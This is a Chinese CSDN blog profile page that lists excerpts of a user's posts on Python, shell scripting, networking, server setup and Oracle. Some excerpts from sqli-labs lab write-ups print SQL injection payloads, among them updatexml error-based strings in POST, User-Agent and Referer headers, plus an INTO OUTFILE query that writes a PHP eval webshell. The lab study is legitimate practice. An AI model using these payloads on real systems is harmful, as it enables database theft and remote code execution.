自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(65)
  • 问答 (1)
  • 收藏
  • 关注

原创 python多线程实现多任务

1.简单的线程同时运行下面的sing和dance函数import timeimport threadingdef sing(): for i in range(2): print("唱歌...") time.sleep(1)def dance(): for i in range(2): print("跳舞...") time.sleep(1)if __name__ == '__main__':

2020-12-05 16:50:21 219

原创 python多进程实现文件夹的拷贝

import multiprocessingimport osdef copy_file(file_name,source_dir,dest_dir): # 路径拼接 source_path = source_dir + '/' + file_name dest_path = dest_dir + '/' + file_name # 以读的方式打开源文件,以写的方式打开目标文件 with open(source_path,"rb") as source_.

2020-12-05 16:24:28 268

原创 代理ARP小实验

搭建拓扑如下PC1,PC2均使用路由器改变symbol来模拟一、关闭PC1/2的路由功能,当作纯电脑PC1的MACR1两接口的MACPC2的MAC当PC1与PC2进行通信后,查看arp表,获得的MAC为R1左边接口的MAC地址代理arp实现二、回归路由状态使用静态路由让其互联互通1.使用出接口的方式(是代理ARP,请求的是不同网段)、清除PC1arp表的缓存重新ping,查看arp表依旧是R1左接口的mac代理a

2020-10-16 18:25:16 456

原创 sqlilab 17-22简略版

1.POST update注入(17关)爆出数据库的版本,1' or updatexml (1,concat(0x7e,version(),0x7e),1) #2.Header报错 (18关)在UA末尾添加'报错,存在注入点注入语句:1',1,updatexml(1,concat(0x7e,database(),0x7e),1)) #爆出数据库为security3.Referer(19关)在Referer末尾加单引号,报错Referer: 1' and up.

2020-07-29 19:26:31 307

原创 sqlilabs第七关

outfile导出文件用到了一个outfile函数,可以将sql语句的结果导出在文件中先查询一下导出的目录位置导出文件load_file写入文件导出一句话木马id=-1')) union select 1,"<?php @eval($_GET['cmd']); ?>",3 into outfile "D:\\phpStudy\\2.txt" --+...

2020-07-28 18:33:34 2412

原创 sqlilab第一关

1.判断注入方式为字符型输入正常id=1注入引号可以推断查询语句为select * from users where id=1 limit 0,1; (ps:users表只是举例)打开第一关的php源码查看结果打开数据库命令行查询结果2.查询库名<1>判断表有几列当输入order by 3时未报错,而order by 4报错,说明表有三列<2>判断回显的位置为了union后的语句可生效,需将之前的报错,改为-1se.

2020-07-28 15:08:41 1965

原创 phpstudy中Mysql命令行对文件的读取

首先,在命令行查看secure_file_priv为null,这是万万不行滴打开Phpstudy,选择“其他菜单选项”-“打开配置文件”-“mysql-ini”添加secure_file_priv=,后面不要写东西重启数据库,重启数据库,重启数据库!!!再次查询已经为空现在来试试读取文件内容在某盘创建文件写入内容查询,完全Ok...

2020-07-25 18:54:45 600

原创 shell之正则表达式

基本正则表达式字符 含义 ^ 在每行的开始进行匹配 $ 在每行的末尾进行匹配 \< 在字的开始进行匹配 \> 在字的末尾进行匹配 . 对任何单个字符进行匹配 [str] 对str中的任何单个字符进行匹配 [^str] 对不在str中的单个字符进行匹配 [a-b] 对a到b之间的任何字符进行匹配

2020-07-18 15:00:59 103

原创 shell练习题(四)——判断用户相关信息

1、从键盘输入文件夹名(1)这个文件是否存在,若不存在则给予一一个“Filename does not exist"的讯息,并中断程序;(2)若这个文件存在,则判断他是个文件或目录,结果输出“Filename is regularfile”或“Filename is directory”,(3)判断一下,执行者的身份对这个文件或目录所拥有的权限,并输出权限数据!#!/bin/bashread -p "请输入文件名夹:" Filenamere=$(`test -r $Filename` &.

2020-06-23 16:19:50 1195

原创 shell练习题(三)——循环打印乘法表,位置参数的使用

1.打印99乘法表2,编写--个shell脚本,打印任何数的乘法表。例如,如果你执行此脚本请求一个数,并显示它的表。显示例输出如下:22*1=22*2=42*9 = 18while truedo read -p "input number: " n if [ $n -le 9] then for ((i=1;i<=9;i++)) do echo " Sn * $i = `echo $[n*i]`"

2020-06-23 16:08:59 648

原创 shell练习题(一)——参数,运算符,判断目录,文件存在

一、判断分数#!/bin/bashscore=$1if [ -z $score ];then echo "Please input a number that range is 0 to 100!" exitfiif [[ $score -gt 80 ]];then echo "Best!"elif [[ $score -gt ...

2020-06-20 13:59:19 246

原创 shell练习题(二)

1.、取出当前系统上所有用户的shell,要求,每种shell只显示一次,并且按顺序进行显示;使用cut、sort结合管道实现2.如果/var/log/messages文件的行数大于100,就显示好大的文件3、显示/etc目录下所有以pa开头的文件,并统计其个数;4、如果用户hadoop不存在就添加,否则显示用户已存在5、编写一个 Shell 程序 mkf,此程序的功能是:显示 root 下的文件信息,然后建立一个 kk 的文件夹,在此文件夹下建立一个文件 aa,修改此.

2020-06-20 13:58:37 1269

原创 shell命令执行顺序

1.;和&&的区别前后命令都正确时,二者无区别当前面的命令错误时2.||的使用从左到右执行,若前面为真,则后面不执行

2020-06-07 10:36:01 348

原创 RIP&&OSPF总结

2020-05-25 12:55:40 175

原创 备战秋招——路由器交换机工作原理

目录路由器工作原理交换机二层交换机的作用二层交换机的工作原理三层交换机的工作原理哈希算法的特点网络类型数据交换机方式(路由方式)路由器工作原理当数据包进入路由器时,路由器先查看数据包中的目标MAC地址; MAC地址的三种情况 a.广播:解封装到第三层 b.组播:如果本地加入了某一组播中将会解封装,否则丢弃 c.单播:若目标MAC为路由器接收该流量接口的MAC地址,则解封装,否则丢弃...

2020-05-22 09:44:22 235

原创 多协议标签交换——ensp

一、搭建实验环境二、配置1.ip配置使用路由协议使运营商设备互通,此处省略2.mpls域[r2]mpls lsr-id 2.2.2.2[r2]mpls[r2-mpls]lsp-trigger all [r2-mpls]mpls ldp[r2]int g0/0/1[r2-GigabitEthernet0/0/1]mpls [r2-GigabitEthernet0...

2020-05-16 17:05:37 623

原创 备战秋招——vlan

一、如何判断同一交换机下的某些PC在同一广播域?答:洪范范围让PC1发广播包,在其他PC上抓包,如果能够抓到来自PC1的包则在同一广播域当交换机的接口被划入vlan后,只会洪泛至相同vlan的接口二、二层交换机工作原理基于数据帧中的目标MAC地址,来查询本地的MAC地址表,之后基于表中的记录单播转发到对应的接口中;数据帧进入交换机时,首先查看源mac,然后将对应的接口进行记录;若转出时,没有对应的记录将进行洪泛——除流量进入接口外其他所有接口转出三、洪泛的情况1、广播:目

2020-05-15 17:07:44 178

原创 自动化运维工具——ansible基础应用

ansible是一款可以控制上百台服务器的自动化运维工具,也就是说我们可以使用ansible在控制端输入需要在被控端执行的命令,被控端即就可以执行该操作,无需我们一台台机器去配置,这样就大大提高了我们的工作效率一、软件安装环境:ansible-server:centos7,client:192.168.60.128# wget http://mirrors.aliyun.com/re...

2020-05-08 18:15:14 146

原创 linux如何制作软raid5

制作raid5准备:添加4块硬盘,大小根据个人情况实验磁盘大小如下:1.磁盘分区由于sdb,sdc,sdd三者间最小为5G,故每块磁盘分区时都分配为5G# fdisk /dev/sdc // sdd,sde重复该操作更改类型为软raid,保存退出查看更改后的分区2.组合硬盘# mdadm -C /dev/md0 -a yes -l...

2020-04-24 17:15:17 1413 3

原创 nginx配置案例(反向代理,负载均衡,动静分离以及高可用)

一、软件安装yum -y install gcc zlib zlib-devel pcre-devel openssl openssl-develcd /usr/localmkdir nginxcd nginxwget http://nginx.org/download/nginx-1.13.7.tar.gztar -xvf nginx-1.13.7.tar.gz...

2020-04-22 20:50:56 34

原创 python的面向对象

一、什么是面向对象?面向对象是一个更大的封装,关注的是做事情的人是谁,而面向过程关注的是怎么做。二、什么是类和对象?1.类类即一类事物的总称,是抽象的。比如鸟类,猫科动物,这些统称为类。如何定义类? 使用class来定义,类名遵循大驼峰命名规范,如:class Dog(object):2.对象对象是从类中创建出来,具体存在的。比如布谷鸟,啄木鸟就是一个...

2020-04-20 11:53:57 100

原创 python中正则表达式的使用

目录re模块操作元字符反义符转义符数量单词边界和非边界(\b \B)分组re模块高级操作searchfindallsubsplit贪婪和非贪婪模式re模块操作在Python中需要通过正则表达式对字符串进⾏匹配的时候,可以使⽤⼀个re模块,通过group进行分组显示元字符字符 功能 . 匹配任意符号(除换行符...

2020-04-10 15:11:01 115

原创 python的异常处理

一、什么是异常?异常指的是软件在运行的过程中,因为一些原因(如:使用者操作不当等),引起程序错误,导致软件奔溃的这种现象异常不等于错误二、异常处理可以使用try/except语句捕捉异常,语法如下:如:输入的类型问题1.正常情况:假如我们输入一个正确的数字,运行结果:可以看出并不会执行except中的语句,程序正常执行2.不正常情况:假如输入错误的类型:会跳...

2020-04-08 23:39:38 457

原创 python中的函数相关知识

全局变量和局部变量 一、全局变量1. 全局变量:定义在py文件的变量2. 全局变量定义在函数外部,可以在函数内部调用注:如果要在函数内部进行修改,则需要在函数内部声明,通常在def下一行添加 global 变量名二、局部变量1. 局部变量:定义在函数中的变量叫做,函数被调用结束后不再生效2.在函数外面不能访问到函数内部定义变量 引用传递和值传递 ...

2020-04-07 19:33:27 464

原创 python字符串对象的常见方法及切片的使用

字符串对象的使用方法 方法 解释 示例 capitalize() 字符串首字母大写 center() 字符串居中,默认为空格,可指定 count() 统计字符或字符串出现的次数 enc...

2020-03-27 19:22:59 165

原创 python中常见的内置模块(random,math,os,os.path,哈希,时间)

导模块的方式 import 模块名称 import 模块名称.子模块名称 import 模块名称.子模块名称 as 别名 from 包名称 import 模块 1.如何知道一个模块中有哪些属性? 可以通过 dir(模块名称) 列出模块中所有的属性2.如何得知该属性的使用方法? 通过 help(...

2020-03-27 12:50:54 268

原创 监控链路状态,实现浮动静态路由中以太网切换串行

思科 一、拓扑如下:要求:配置浮动静态路由。以太网链路作为主链路,串行链路作为备份,当以太网链路故障时,可以使用串行链路实现无故障通信二、不设置监控的情况1.配置静态路由优先级追踪路由查看所走路径为以太网2.关闭R2的f0/0口,再去ping,可以发现是不通的这是因为使用以太网链路时,对方的接口出故障后,自身的接口不会关闭,依然处于双up状态,因而不...

2020-03-23 09:53:01 595

原创 python中的容器

一、列表(list) 可以存类型不同的值定义空列表的方法: 1. ls = [] 2. ls = ([]) 3.ls = list()定义有元素的列表: 1. ls = [1,2,"haha"] 2. ls = list([1,2,"haha"]) 3. ls = ([1,2,"haha"]) 列表的增删改查 1.增<1&...

2020-03-21 22:13:40 84

原创 python中的三大流程

一、顺序结构 从左到右,从上而下执行二、选择结构单分支age = int(input("请输入你的年龄:"))if age >= 18: print("恭喜成年")运行结果双分支age = int(input("请输入你的年龄:"))if age >= 18: print("恭喜成年")else: print...

2020-03-20 12:47:10 66

原创 Python入门-环境搭建和变量及数据类型解析

环境的安装 可以去官网(https://www.python.org/downloads/)下载需要的解释器,注意要和自己的系统匹配,不清楚自己的系统就点击" 此电脑-右键-属性 "去查看。推荐使用3.5以上的版本,这里我们使用3.7.0,具体如何安装可以参考:https://mp.weixin.qq.com/s?__biz=MzIwMjE1MjMyMw==&mid=50271...

2020-03-10 15:24:43 97

原创 DNS服务器

一、关闭防火墙和selinux[root@dns-server ~]# systemctl stop firewalld[root@dns-server ~]# setenforce 0二、配置Yum源(省略)三、装软件[root@dns-server ~]# yum -y install bind确认安装成功?[root@dns-server ~]# rpm -q ...

2020-03-10 13:00:08 143

原创 使用Postfix与Dovecot部署邮件系统

环境: server:192.168.60.131RHEL7.2client:192.168.60.129RHEL7.2(同时充当DNS Server) 配置DNS服务器(已存在可略过) 1.关掉防火墙和selinux# systemctl stop firewalld# setenforce 02.配置DNS服务器<1>装软件[ro...

2020-03-09 17:49:35 348

原创 FTP服务器

一、关闭防火墙和selinux[root@LY ~]# systemctl stop firewalld[root@LY ~]# setenforce 0二、配置yum源[root@LY ~]# mount /dev/sr0 /mnt/[root@LY ~]# vim /etc/yum.repos.d/base.repo[base]name=basebaseurl=file://...

2020-03-03 12:57:23 62

原创 ORACLE 12C静默安装&克隆安装

一、清除原有的环境需要得到相应文件,如有响应文件,直接从(二)开始<1>删除原有数据库及软件[root@localhost ~]# rm -rf /etc/ora*[root@localhost ~]# rm -rf /u01/app/*<2>安装软件(为得到相应文件)[oracle@localhost ~]$ cd database/[...

2020-02-17 23:03:48 311

原创 oracle 12c手工建库

安装新的数据库软件删除原有数据库及软件[root@localhost ~]# rm -rf /etc/ora*[root@localhost ~]# rm -rf /u01/app/*重新安装,只安装软件[oracle@localhost ~]$ cd database/[oracle@localhost database]$ ./runInstaller选择如下...

2020-02-16 19:53:22 50 1

原创 oracle用户管理

1.用户的创建和删除<1>创建haha用户,密码为oracleSQL> create user c##haha identified by oracle;<2>删除haha用户SQL> drop user c##haha; //用户不含表结构,即为空SQL> drop user c##haha cascade; //级联删除,用户中含有表...

2020-02-12 13:41:23 75

原创 oracle修改表结构和约束的修改及查询

一、修改表结构1.为member添加两个字段SQL> alter table member add(age number(3),birthday date dafault sysdate);2.将name字段的默认值定义为“hhhh”SQL> alter table member modify (name varchar2(20) default 'hhhh')...

2020-02-11 13:50:05 492

原创 oracle约束

前言表建立完成后,并不能检查表中的数据是否合法,如果想要针对表中的数据做一些过滤的话,则可以通过约束完成。约束的主要功能是保证表中的数据合法性,按照约束的分类,一共有五种约束: 非空约束、唯一约束、主键约束、检查约束、外键约束一、非空约束/NOT NULL/NK当数据表中的某个字段上的内容不希望设置为null的话,则可以使用NOT NULL进行指定<...

2020-02-10 23:13:22 134

原创 web服务器

静态WEB一、基于IP的自定义访问:在/www下显示信息[root@Server html]# mkdir /www[root@Server html]# echo this is a test > /www/index.html //编写内容[root@Server html]# vim /etc/httpd/conf.d/vhosts.conf //编辑子配...

2020-02-08 15:57:15 106

原创 搭建NFS服务器和Samba服务器

一、搭建NFS服务器1.配置服务并启动[root@LY ~]# systemctl stop firewalld[root@LY ~]# setenforce 0[root@LY ~]# yum install -y nfs[root@LY ~]# yum install -y rpcbind[root@LY ~]# systemctl start rpcbind.serv...

2020-02-01 21:03:11 363

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除